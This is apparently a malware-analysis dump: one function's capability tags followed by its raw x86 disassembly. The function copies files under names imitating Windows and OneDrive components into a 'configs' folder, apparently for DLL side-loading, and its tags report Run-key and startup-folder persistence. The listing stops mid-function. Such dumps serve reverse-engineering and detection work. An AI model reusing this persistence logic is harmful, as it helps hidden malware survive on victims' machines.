Function at 0x10001220
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Get common file path
Get startup folder
Persist via run registry key
Set registry value
Terminate process
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000fac4
mov eax, dword fs:[0]
push eax
sub esp, 0x818
mov eax, dword [0x1001d010]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x768], 0
mov dword [ebp - 0x764], 7
mov word [ebp - 0x778], ax
mov dword [ebp - 4], eax
mov dword [ebp - 0x780], eax
mov dword [ebp - 0x77c], 7
mov word [ebp - 0x790], ax
push 0x40
push eax
lea eax, [ebp - 0x7e0]
mov dword [ebp - 0x7e4], 0x44
push eax
call fcn.10004e70
xor eax, eax
mov dword [ebp - 0x630], 0
add esp, 0xc
mov dword [ebp - 0x62c], 7
mov word [ebp - 0x640], ax
mov dword [ebp - 0x750], eax
mov dword [ebp - 0x74c], 7
mov word [ebp - 0x760], ax
mov dword [ebp - 0x738], eax
mov dword [ebp - 0x734], 7
mov word [ebp - 0x748], ax
mov dword [ebp - 0x720], eax
mov dword [ebp - 0x71c], 7
mov word [ebp - 0x730], ax
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x704], 7
mov word [ebp - 0x718], ax
mov dword [ebp - 0x6f0], eax
mov dword [ebp - 0x6ec], 7
mov word [ebp - 0x700], ax
mov dword [ebp - 0x6d8], eax
mov dword [ebp - 0x6d4], 7
mov word [ebp - 0x6e8], ax
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], 7
mov word [ebp - 0x6d0], ax
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], 7
mov word [ebp - 0x6b8], ax
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], 7
mov word [ebp - 0x6a0], ax
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x674], 7
mov word [ebp - 0x688], ax
mov dword [ebp - 0x660], eax
xor ecx, ecx
mov eax, 7
mov word [ebp - 0x670], cx
mov dword [ebp - 0x65c], eax
mov dword [ebp - 0x648], ecx
mov dword [ebp - 0x644], eax
mov word [ebp - 0x658], cx
sub dword [ebp + 0xc], 1
mov byte [ebp - 4], 0xe
jne 0x100027cb
lea eax, [ebp - 0x420]
push eax
push ecx
push ecx
push 0x1c
push ecx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 1
push 0x100186bc
lea ecx, [ebp - 0x640]
call fcn.10002d90
push 0x13
xor eax, eax
mov dword [ebp - 0x7f0], 0
push 0x100186c0
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
call fcn.10002d90
lea ecx, [ebp - 0x420]
mov byte [ebp - 4], 0xf
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001452
sub ecx, edx
lea eax, [ebp - 0x420]
sar ecx, 1
push ecx
push eax
push ecx
lea ecx, [ebp - 0x800]
call fcn.100030f0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x818], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x640]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x818]
push eax
movq qword [ebp - 0x808], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x100014f1
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100014e7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c43
push edx
push ecx
call fcn.10003551
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x10001535
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000152b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c43
push edx
push ecx
call fcn.10003551
add esp, 8
push 0x12
xor eax, eax
mov dword [ebp - 0x7f0], 0
push str...Management.dll
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
call fcn.10002d90
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], 0x10
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001571
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
push ecx
lea ecx, [ebp - 0x800]
call fcn.100030f0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x818], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x760]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x818]
push eax
movq qword [ebp - 0x808], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x10001610
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001606
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c48
push edx
push ecx
call fcn.10003551
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x10001654
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000164a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c48
push edx
push ecx
call fcn.10003551
add esp, 8
push 0x17
xor eax, eax
mov dword [ebp - 0x7f0], 0
push str...LoggingPlatform.dll
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
call fcn.10002d90
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], 0x11
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001690
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
push ecx
lea ecx, [ebp - 0x800]
call fcn.100030f0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x818], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x748]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x818]
push eax
movq qword [ebp - 0x808], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x1000172f
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001725
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c4d
push edx
push ecx
call fcn.10003551
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x10001773
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001769
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c4d
push edx
push ecx
call fcn.10003551
add esp, 8
push 0x1a
xor eax, eax
mov dword [ebp - 0x7f0], 0
push str...UpdateRingSettings.dll
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
call fcn.10002d90
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], 0x12
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100017b0
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
push ecx
lea ecx, [ebp - 0x800]
call fcn.100030f0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x818], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x730]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x818]
push eax
movq qword [ebp - 0x808], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x1000184f
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001845
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c52
push edx
push ecx
call fcn.10003551
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x10001893
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001889
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c52
push edx
push ecx
call fcn.10003551
add esp, 8
push 0x17
xor eax, eax
mov dword [ebp - 0x7f0], 0
push str...configmsvcp140.dll
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
call fcn.10002d90
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], 0x13
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100018d0
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
push ecx
lea ecx, [ebp - 0x800]
call fcn.100030f0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x818], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x718]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x818]
push eax
movq qword [ebp - 0x808], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x1000196f
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001965
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c57
push edx
push ecx
call fcn.10003551
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x100019b3
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100019a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c57
push edx
push ecx
call fcn.10003551
add esp, 8
push 0x1b
xor eax, eax
mov dword [ebp - 0x7f0], 0
push str...config_vcruntime140.dll
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
call fcn.10002d90
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], 0x14
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100019f0
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
push ecx
lea ecx, [ebp - 0x800]
call fcn.100030f0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x818], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x700]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x818]
push eax
movq qword [ebp - 0x808], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x10001a8f
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001a85
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c5c
push edx
push ecx
call fcn.10003551
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x10001ad3
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001ac9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c5c
push edx
push ecx
call fcn.10003551
add esp, 8
push 0x15
xor eax, eax
mov dword [ebp - 0x7f0], 0
push str...configConfig.dat
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
call fcn.10002d90
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], 0x15
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001b10
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
push ecx
lea ecx, [ebp - 0x800]
call fcn.100030f0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x818], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x6e8]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x818]
push eax
movq qword [ebp - 0x808], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x10001baf
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001ba5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c61
push edx
push ecx
call fcn.10003551
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x10001bf3
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001be9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c61
push edx
push ecx
call fcn.10003551
add esp, 8
cmp dword [ebp - 0x62c], 8
lea eax, [ebp - 0x640]
cmovae eax, dword [ebp - 0x640]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x10001c31
cmp dword [ebp - 0x62c], 8
lea eax, [ebp - 0x640]
push 0
cmovae eax, dword [ebp - 0x640]
push eax
call esi
push str.configs
lea ecx, [ebp - 0x640]
call fcn.10002ef0
cmp dword [ebp - 0x62c], 8
lea eax, [ebp - 0x640]
push 0
cmovae eax, dword [ebp - 0x640]
push eax
call esi
mov edx, dword [ebp - 0x630]
mov eax, 0x7ffffffe
sub eax, edx
mov dword [ebp - 0x820], edx
cmp eax, 0xf
jb 0x10002c66
cmp dword [ebp - 0x62c], 8
lea eax, [ebp - 0x640]
lea ecx, [edx + 0xf]
mov dword [ebp - 0x808], 0
cmovae eax, dword [ebp - 0x640]
lea edi, [ebp - 0x818]
mov esi, 7
mov dword [ebp - 0x81c], eax
mov dword [ebp - 0x804], 0
mov dword [ebp - 0x824], ecx
cmp ecx, esi
jbe 0x10001d58
mov esi, ecx
or esi, 7
cmp esi, 0x7ffffffe
jbe 0x10001cd9
mov esi, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x10001cfa
mov eax, 0xa
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x7fffffff
ja 0x10002c70
add eax, eax
cmp eax, 0x1000
jb 0x10001d2d
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x10002c70
push ecx
call fcn.10003582
add esp, 4
test eax, eax
je 0x10002c6b
mov ecx, dword [ebp - 0x824]
lea edi, [eax + 0x23]
mov edx, dword [ebp - 0x820]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x10001d4c
test eax, eax
je 0x10001d4a
push eax
call fcn.10003582
mov ecx, dword [ebp - 0x824]
add esp, 4
mov edx, dword [ebp - 0x820]
mov edi, eax
jmp 0x10001d4c
xor edi, edi
mov eax, dword [ebp - 0x81c]
mov dword [ebp - 0x818], edi
mov dword [ebp - 0x804], esi
lea esi, [edx + edx]
push esi
push eax
push edi
mov dword [ebp - 0x808], ecx
call fcn.100048f0
movups xmm0, xmmword [str.FileCoAuth.exe]
xor ecx, ecx
add esp, 0xc
movups xmmword [edi + esi], xmm0
movq xmm0, qword [0x10018830]
movq qword [edi + esi + 0x10], xmm0
mov eax, dword [0x10018838]
mov dword [edi + esi + 0x18], eax
mov ax, word [0x1001883c]
mov word [edi + esi + 0x1c], ax
mov eax, dword [ebp - 0x820]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
mov word [edi + eax*2 + 0x1e], cx
lea ecx, [ebp - 0x818]
cmp dword [ebp - 0x804], 8
lea eax, [ebp - 0x6e8]
cmovae ecx, dword [ebp - 0x818]
cmp dword [ebp - 0x6d4], 8
push ecx
cmovae eax, dword [ebp - 0x6e8]
push eax
call esi
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x10001e20
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001e16
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c6b
push edx
push ecx
call fcn.10003551
add esp, 8
push 0xc
xor eax, eax
mov dword [ebp - 0x7f0], 0
push str._secur32.dll
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
call fcn.10002d90
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x640]
cmp dword [ebp - 0x62c], 8
push dword [ebp - 0x630]
cmovae eax, dword [ebp - 0x640]
push eax
push ecx
lea ecx, [ebp - 0x800]
call fcn.100030f0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x818], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x6d0]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x818]
push eax
movq qword [ebp - 0x808], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x10001ef6
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001eec
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c75
push edx
push ecx
call fcn.10003551
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x10001f3a
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001f30
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c75
push edx
push ecx
call fcn.10003551
add esp, 8
push 0x14
xor eax, eax
mov dword [ebp - 0x7f0], 0
push str.LoggingPlatform.dll
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
call fcn.10002d90
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x640]
cmp dword [ebp - 0x62c], 8
push dword [ebp - 0x630]
cmovae eax, dword [ebp - 0x640]
push eax
push ecx
lea ecx, [ebp - 0x800]
call fcn.100030f0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x818], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x6b8]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x818]
push eax
movq qword [ebp - 0x808], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x10002010
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002006
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c7a
push edx
push ecx
call fcn.10003551
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x10002054
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000204a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c7a
push edx
push ecx
call fcn.10003551
add esp, 8
push 0x17
xor eax, eax
mov dword [ebp - 0x7f0], 0
push str.UpdateRingSettings.dll
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
call fcn.10002d90
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x640]
cmp dword [ebp - 0x62c], 8
push dword [ebp - 0x630]
cmovae eax, dword [ebp - 0x640]
push eax
push ecx
lea ecx, [ebp - 0x800]
call fcn.100030f0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x818], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x6a0]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x818]
push eax
movq qword [ebp - 0x808], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x1000212a
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002120
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c7f
push edx
push ecx
call fcn.10003551
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x1000216e
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002164
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c7f
push edx
push ecx
call fcn.10003551
add esp, 8
push 0xd
xor eax, eax
mov dword [ebp - 0x7f0], 0
push str.msvcp140.dll
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
call fcn.10002d90
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x640]
cmp dword [ebp - 0x62c], 8
push dword [ebp - 0x630]
cmovae eax, dword [ebp - 0x640]
push eax
push ecx
lea ecx, [ebp - 0x800]
call fcn.100030f0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x818], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x688]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x818]
push eax
movq qword [ebp - 0x808], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x10002244
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000223a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c84
push edx
push ecx
call fcn.10003551
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x10002288
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000227e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c84
push edx
push ecx
call fcn.10003551
add esp, 8
push 0x11
xor eax, eax
mov dword [ebp - 0x7f0], 0
push str._vcruntime140.dll
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
call fcn.10002d90
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x640]
cmp dword [ebp - 0x62c], 8
push dword [ebp - 0x630]
cmovae eax, dword [ebp - 0x640]
push eax
push ecx
lea ecx, [ebp - 0x800]
call fcn.100030f0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x818], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x670]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x818]
push eax
movq qword [ebp - 0x808], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x804]
cmp edx, 8
jb 0x1000235e
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002354
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c89
push edx
push ecx
call fcn.10003551
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x100023a2
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002398
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c89
push edx
push ecx
call fcn.10003551
add esp, 8
cmp dword [ebp - 0x6bc], 8
lea ecx, [ebp - 0x6d0]
push 0
cmovae ecx, dword [ebp - 0x6d0]
lea eax, [ebp - 0x760]
cmp dword [ebp - 0x74c], 8
push ecx
cmovae eax, dword [ebp - 0x760]
push eax
call esi
cmp dword [ebp - 0x6a4], 8
lea ecx, [ebp - 0x6b8]
push 0
cmovae ecx, dword [ebp - 0x6b8]
lea eax, [ebp - 0x748]
cmp dword [ebp - 0x734], 8
push ecx
cmovae eax, dword [ebp - 0x748]
push eax
call esi
cmp dword [ebp - 0x68c], 8
lea ecx, [ebp - 0x6a0]
push 0
cmovae ecx, dword [ebp - 0x6a0]
lea eax, [ebp - 0x730]
cmp dword [ebp - 0x71c], 8
push ecx
cmovae eax, dword [ebp - 0x730]
push eax
call esi
cmp dword [ebp - 0x674], 8
lea ecx, [ebp - 0x688]
push 0
cmovae ecx, dword [ebp - 0x688]
lea eax, [ebp - 0x718]
cmp dword [ebp - 0x704], 8
push ecx
cmovae eax, dword [ebp - 0x718]
push eax
call esi
cmp dword [ebp - 0x65c], 8
lea ecx, [ebp - 0x670]
push 0
cmovae ecx, dword [ebp - 0x670]
lea eax, [ebp - 0x700]
cmp dword [ebp - 0x6ec], 8
push ecx
cmovae eax, dword [ebp - 0x700]
push eax
call esi
push 1
xor eax, eax
mov dword [ebp - 0x808], 0
push 0x1001891c
lea ecx, [ebp - 0x818]
mov dword [ebp - 0x804], 7
mov word [ebp - 0x818], ax
call fcn.10002d90
mov byte [ebp - 4], 0x1b
lea edx, [ebp - 0x640]
cmp dword [ebp - 0x62c], 8
mov ecx, dword [ebp - 0x808]
cmovae edx, dword [ebp - 0x640]
mov eax, dword [ebp - 0x804]
mov edi, dword [ebp - 0x630]
sub eax, ecx
mov dword [ebp - 0x81c], ecx
cmp edi, eax
ja 0x10002531
cmp dword [ebp - 0x804], 8
lea eax, [edi + ecx]
lea esi, [ebp - 0x818]
mov dword [ebp - 0x808], eax
cmovae esi, dword [ebp - 0x818]
lea eax, [edi + edi]
push eax
push edx
lea ecx, [esi + ecx*2]
push ecx
call fcn.100048f0
mov eax, dword [ebp - 0x81c]
add esp, 0xc
add eax, edi
xor ecx, ecx
mov word [esi + eax*2], cx
lea eax, [ebp - 0x818]
jmp 0x1000254c
push edi
push edx
mov byte [ebp - 0x81c], 0
lea ecx, [ebp - 0x818]
push dword [ebp - 0x81c]
push edi
call fcn.10002f70
mov dword [ebp - 0x7f0], 0
xor ecx, ecx
mov dword [ebp - 0x7ec], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x800], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x7f0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push str.FileCoAuth.exe_
lea ecx, [ebp - 0x800]
mov byte [ebp - 4], 0x1c
call fcn.10002ef0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x778], xmm0
movq xmm0, qword [eax + 0x10]
mov word [eax], cx
lea ecx, [ebp - 0x658]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
lea eax, [ebp - 0x778]
push eax
movq qword [ebp - 0x768], xmm0
call fcn.10002d00
mov edx, dword [ebp - 0x764]
cmp edx, 8
jb 0x1000261a
mov ecx, dword [ebp - 0x778]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002610
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c8e
push edx
push ecx
call fcn.10003551
add esp, 8
